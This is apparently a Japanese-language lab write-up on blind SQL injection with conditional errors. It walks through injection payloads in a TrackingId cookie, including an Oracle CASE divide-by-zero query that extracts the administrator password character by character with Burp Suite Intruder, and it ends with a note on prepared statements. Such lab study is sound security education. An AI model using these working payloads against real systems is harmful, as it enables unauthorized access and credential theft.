Blind SQL injection with conditional errors
概要
Burp SuiteのIntruder機能を用いて、クレデンシャル情報を推測する
攻撃手順
- cookieのTrackingIdパラメタにSQLインジェクション攻撃が可能か確認する
- この形は最後にシングルクォーテーションが2つ存在するためエラーとなる(シングルクォーテーションが閉じられていないため構文エラー)
SELECT * FROM products WHERE category = 'Gifts' AND trackingId = 'abc'' - シングルクォーテーションを2つ足して正常に閉じるようにしたら成功することを確認
- この形は最後にシングルクォーテーションが2つ存在するためエラーとなる(シングルクォーテーションが閉じられていないため構文エラー)
- サブクエリをインジェクションできるか確認するために
TrackingId=xyz'||(SELECT '' FROM dual)||'を試す - TrackingIdがxyzに''を連結した値と等しいか確認
- 次のSQLで当該テーブルが存在するか確認
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' - わざとエラー発生させる条件を設定したCASE分を設定し、当該テーブルの当該カラムの値をブルートフォースで推測する
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'- 次のSQLでWHERE句の条件とマッチする行があればCASE文によるゼロ除算でエラーとなる
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Burp SuiteのIntruder機能を用いて、passwordの各文字をブルートフォースで推測する
- 当該リクエストをIntruderへ送る
- 当該位置を指定しAddボタンを押す
- PayloadsタブでPayload typeを「Brute Forcer」又は「Numbers」に設定し、ブルートフォースする範囲を設定する
対策
- プレースホルダー(プリペアドステートメント)を利用する